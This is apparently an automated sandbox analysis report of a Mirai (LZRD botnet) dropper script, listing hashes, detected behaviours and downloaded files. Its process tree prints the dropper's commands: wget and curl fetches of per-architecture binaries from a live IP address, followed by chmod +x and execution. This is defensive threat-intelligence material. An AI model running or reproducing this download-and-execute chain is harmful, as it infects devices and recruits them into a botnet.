Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-12-2024 01:08

General

  • Target

    21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh

  • Size

    2KB

  • MD5

    4e3d079076dbd0da4d36211e359e7c90

  • SHA1

    c78fc85b3cb983b5f6da054337221b744ffce6f2

  • SHA256

    21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c

  • SHA512

    85a322f9c2d9cae35021d896ca50f254b49354d2819f77396a97a9d41a544d8662ec0cdd38475884b9bab02f9247c9ed637fa9caa26d4669b8f5e32a739ec78b

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
    /tmp/21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh
    1⤵
    • Writes file to tmp directory
    PID:717
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:720
    • /usr/bin/wget
      wget http://89.213.158.208/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:727
    • /usr/bin/curl
      curl -O http://89.213.158.208/hiddenbin/Space.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:821
    • /bin/cat
      cat Space.arc
      2⤵
        PID:822
      • /bin/chmod
        chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-xUczsp
        2⤵
        • File and Directory Permissions Modification
        PID:823
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:824
      • /usr/bin/wget
        wget http://89.213.158.208/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:826
      • /usr/bin/curl
        curl -O http://89.213.158.208/hiddenbin/Space.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:827
      • /bin/cat
        cat Space.x86
        2⤵
          PID:828
        • /bin/chmod
          chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.x86 systemd-private-4b7bf3fb6b0c4916a03b3059ddb1b3dc-systemd-timedated.service-xUczsp
          2⤵
          • File and Directory Permissions Modification
          PID:829
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:830
        • /usr/bin/wget
          wget http://89.213.158.208/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:832
        • /usr/bin/curl
          curl -O http://89.213.158.208/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:833
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:837
          • /bin/chmod
            chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.x86 Space.x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:838
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:839
          • /usr/bin/wget
            wget http://89.213.158.208/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:841
          • /usr/bin/curl
            curl -O http://89.213.158.208/hiddenbin/Space.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:842
          • /bin/cat
            cat Space.i686
            2⤵
              PID:843
            • /bin/chmod
              chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:844
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:845
            • /usr/bin/wget
              wget http://89.213.158.208/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:847
            • /usr/bin/curl
              curl -O http://89.213.158.208/hiddenbin/Space.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:848
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:849
            • /bin/chmod
              chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:850
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:851
            • /usr/bin/wget
              wget http://89.213.158.208/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:853
            • /usr/bin/curl
              curl -O http://89.213.158.208/hiddenbin/Space.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:854
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:855
            • /bin/chmod
              chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:856
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:857
            • /usr/bin/wget
              wget http://89.213.158.208/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:858
            • /usr/bin/curl
              curl -O http://89.213.158.208/hiddenbin/Space.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:859
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:860
              • /bin/chmod
                chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:861
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:862
              • /usr/bin/wget
                wget http://89.213.158.208/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:868
              • /usr/bin/curl
                curl -O http://89.213.158.208/hiddenbin/Space.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:869
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:870
                • /bin/chmod
                  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:871
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  PID:872
                • /usr/bin/wget
                  wget http://89.213.158.208/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:874
                • /usr/bin/curl
                  curl -O http://89.213.158.208/hiddenbin/Space.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:875
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:876
                  • /bin/chmod
                    chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:877
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:878
                  • /usr/bin/wget
                    wget http://89.213.158.208/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:880
                  • /usr/bin/curl
                    curl -O http://89.213.158.208/hiddenbin/Space.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:881
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:882
                    • /bin/chmod
                      chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:883
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      PID:884
                    • /usr/bin/wget
                      wget http://89.213.158.208/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:886
                    • /usr/bin/curl
                      curl -O http://89.213.158.208/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:887
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:888
                      • /bin/chmod
                        chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:889
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        PID:890
                      • /usr/bin/wget
                        wget http://89.213.158.208/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:892
                      • /usr/bin/curl
                        curl -O http://89.213.158.208/hiddenbin/Space.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:893
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:894
                        • /bin/chmod
                          chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:895
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:896
                        • /usr/bin/wget
                          wget http://89.213.158.208/hiddenbin/Space.sparc
                          2⤵
                            PID:898
                          • /usr/bin/curl
                            curl -O http://89.213.158.208/hiddenbin/Space.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:899
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:900
                            • /bin/chmod
                              chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:901
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:902
                            • /usr/bin/wget
                              wget http://89.213.158.208/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:903
                            • /usr/bin/curl
                              curl -O http://89.213.158.208/hiddenbin/Space.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:904
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:905
                              • /bin/chmod
                                chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:906
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:907
                              • /usr/bin/wget
                                wget http://89.213.158.208/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:909
                              • /usr/bin/curl
                                curl -O http://89.213.158.208/hiddenbin/Space.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:910
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:911
                                • /bin/chmod
                                  chmod +x 21592f72b78a52cbb31ba42577f0f5316ac4869de1281ad2f7d81f5d970d807c.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:912
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:913

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                34KB

                                MD5

                                f66071f9e603dd7b96793058e206b45c

                                SHA1

                                f90eaf59e5a2c5030450de5b1f12a72a8ec8f256

                                SHA256

                                8b8facc7fb2d6cd6f278ea77711c41970dcdff8a367d2d04a2221fd4286ffb45

                                SHA512

                                d5d307f49f255d8f2e36027cdb5b0b7171f83d99147fb1d074bdb64f4c65fa19a7af2556508e0a317a9a4e0df5bd005b5d1b3396282647d9672b12d916d3fc88

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                3c733927caaa196b216421abb32e2632

                                SHA1

                                0c2443725d846b98d0f43fd04d914fc9f0848595

                                SHA256

                                5c26d99fcb4734a9fa1e742d0a2b79de476ad150afd2ab87212766a458eb3475

                                SHA512

                                531651740555a3e4291b9de2a326a4dc5e69088e64264827f1a1f32be8882db930f183e8a145967e8d0976119e3e3d21ff95b9fdd80f3a20b63b801b3d790f08

                              • /tmp/Space

                                Filesize

                                35KB

                                MD5

                                69bb2976de3feee44a259aba3d6e6339

                                SHA1

                                5ae7aa7d99a2ec82de2d9a9da57a9acd5176b939

                                SHA256

                                fb5e5e67d08d25421f3d1acfea212d860a41c97ffcbd3d30094362cccaaf9d76

                                SHA512

                                c3292376c62e324d9b8e6773a78d5d0215feef9f2173f974f5e8ee4bf024aee817e4f6c497a38d285cb00383e28200983fd2be063b384a77d8f7d8c1dfc3388f

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                a010ddf965c0b627abe851fced83e6fe

                                SHA1

                                5fe8eabdce3d9ef71ff19a7fc109b841a958e328

                                SHA256

                                3b6b160ecfbb8c22f91a08708aa0a73917ddcfbf15c628af30e3c34257825aae

                                SHA512

                                d432b1469b70044a3ca0b61ab8b4294ce89fb53e7991fa14c8b7c06728a46ae81cad82f401dd87ca2e286e2e0e0669380c7cda0a534525cd0831aa2d9d1cdf9c

                              • /tmp/Space

                                Filesize

                                82KB

                                MD5

                                ee5d58bab852ebdb4db18fe5941b7b11

                                SHA1

                                48d40ff4c228571b6a704578cdd5e8505fe7e883

                                SHA256

                                2869e0d7e90b1488b774960b8d92a35cb219b5b20de58f3c2b4f7798c4b0d558

                                SHA512

                                e58ffb21af892d20ac9655bfa024e10bcdc6e694416988e5bd30004e9c3018141e1d9a3e972096a0d68a01aa5a610f897e8ecd60f8807cac41d903460a67f615

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                0d7dfd4bb7805b98857a7d2f0a6c736e

                                SHA1

                                3dd2688150dae67b47e3a4da289f98f2fc6b3dae

                                SHA256

                                fc713acedb272a695f5377591a7110d2061697ef7b5de6852e1132040597a39b

                                SHA512

                                03858c754d6469066b8b7b21f8765c24706209e0d9acc3b014014c5a6abd8738f4722d6f2403f85678822021b568834186c6e346dd96b25139c7e4572d3c1899

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8